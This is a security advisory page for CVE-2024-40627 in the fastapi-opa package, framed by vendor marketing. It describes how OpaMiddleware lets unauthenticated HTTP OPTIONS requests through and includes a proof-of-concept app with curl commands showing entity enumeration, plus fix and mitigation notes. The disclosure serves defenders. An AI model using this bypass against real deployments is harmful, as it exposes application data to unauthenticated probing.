Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-5f5c-8rvc-j8wf

MEDIUM

OpaMiddleware does not filter HTTP OPTIONS requests

Also known asCVE-2024-40627
Published
Jul 15, 2024
Updated
Jul 15, 2024
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk42th percentile+0.40%
0.00%0.35%0.71%1.06%0.2%0.6%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍fastapi-opa

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

HTTP OPTIONS requests are always allowed by OpaMiddleware, even when they lack authentication, and are passed through directly to the application.

The maintainer uncertain whether this should be classed as a "bug" or "security issue" – but is erring on the side of "security issue" as an application could reasonably assume OPA controls apply to all HTTP methods, and it bypasses more sophisticated policies.

Details

OpaMiddleware allows all HTTP OPTIONS requests without evaluating it against any policy:

https://github.com/busykoala/fastapi-opa/blob/6dd6f8c87e908fe080784a74707f016f1422b58a/fastapi_opa/opa/opa_middleware.py#L79-L80

If an application provides different responses to HTTP OPTIONS requests based on an entity existing (such as to indicate whether an entity is writable on a system level), an unauthenticated attacker could discover which entities exist within an application (CWE-204).

PoC

This toy application is based on the behaviour of an app1 which can use fastapi-opa. The app uses the Allow header of a HTTP OPTIONS to indicate whether an entity is writable on a "system" level, and returns HTTP 404 for unknown entities:

# Run with: fastapi dev opa-poc.py --port 9999
from fastapi import FastAPI, Response, HTTPException
from fastapi_opa import OPAConfig, OPAMiddleware
from fastapi_opa.auth.auth_api_key import APIKeyAuthentication, APIKeyConfig

# OPA doesn't actually need to be running for this example
opa_host = "http://localhost:8181"
api_key_config = APIKeyConfig(
    header_key = 'ApiKey',
    api_key = 'secret-key',
)
api_key_auth = APIKeyAuthentication(api_key_config)
opa_config = OPAConfig(authentication=api_key_auth, opa_host=opa_host)

app = FastAPI()
app.add_middleware(OPAMiddleware, config=opa_config)

WRITABLE_ITEMS = {
    1: True,
    2: False,
}


@app.get("/")
async def root() -> dict:
    return {"msg": "success"}

@app.get("/items/{item_id}")
async def read_item(item_id: int):
    if item_id not in WRITABLE_ITEMS:
        raise HTTPException(status_code=404)
    return {"item_id": item_id}

@app.options("/items/{item_id}")
async def read_item_options(response: Response, item_id: int) -> dict:
    if item_id not in WRITABLE_ITEMS:
        raise HTTPException(status_code=404)

    response.headers["Allow"] = "OPTIONS, GET" + (", POST" if WRITABLE_ITEMS[item_id] else "")
    return {}

As expected, HTTP GET requests fail consistently when unauthenticated, regardless of whether the entity exists, because read_item() is never executed:

$ curl -i 'http://localhost:9999/items/1'
HTTP/1.1 401 Unauthorized
server: uvicorn
content-length: 26
content-type: application/json

{"message":"Unauthorized"}

$ curl -i 'http://localhost:9999/items/3'
HTTP/1.1 401 Unauthorized
server: uvicorn
content-length: 26
content-type: application/json

{"message":"Unauthorized"}

However, HTTP OPTIONS requests are never authenticated by OpaMiddleware, so are passed straight through to read_item_options() and returned to unauthenticated users:

$ curl -i -X OPTIONS 'http://localhost:9999/items/1'
HTTP/1.1 200 OK
server: uvicorn
content-length: 2
content-type: application/json
allow: OPTIONS, GET, POST

{}

$ curl -i -X OPTIONS 'http://localhost:9999/items/2'
HTTP/1.1 200 OK
server: uvicorn
content-length: 2
content-type: application/json
allow: OPTIONS, GET

{}

$ curl -i -X OPTIONS 'http://localhost:9999/items/3'
HTTP/1.1 404 Not Found
server: uvicorn
content-length: 22
content-type: application/json

{"detail":"Not Found"}

Versions

fastapi-opa==2.0.0
fastapi==0.111.0

Footnotes

  1. an open source app, not written by me

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIfastapi-opaall versions2.0.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fastapi-opa. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update fastapi-opa to 2.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5f5c-8rvc-j8wf is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-5f5c-8rvc-j8wf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-5f5c-8rvc-j8wf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary HTTP `OPTIONS` requests are always allowed by `OpaMiddleware`, even when they lack authentication, and are passed through directly to the application. The maintainer uncertain whether this should be classed as a "bug" or "security issue" – but is erring on the side of "security issue" as an application could reasonably assume OPA controls apply to *all* HTTP methods, and it bypasses more sophisticated policies. ### Details `OpaMiddleware` allows all HTTP `OPTIONS` requests without evaluating it against any policy: https://github.com/busykoala/fastapi-opa/blob/6dd6f8c87e908fe08
O3 Security · Impact-Aware SCA

Is GHSA-5f5c-8rvc-j8wf in your dependencies?

O3 detects GHSA-5f5c-8rvc-j8wf across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.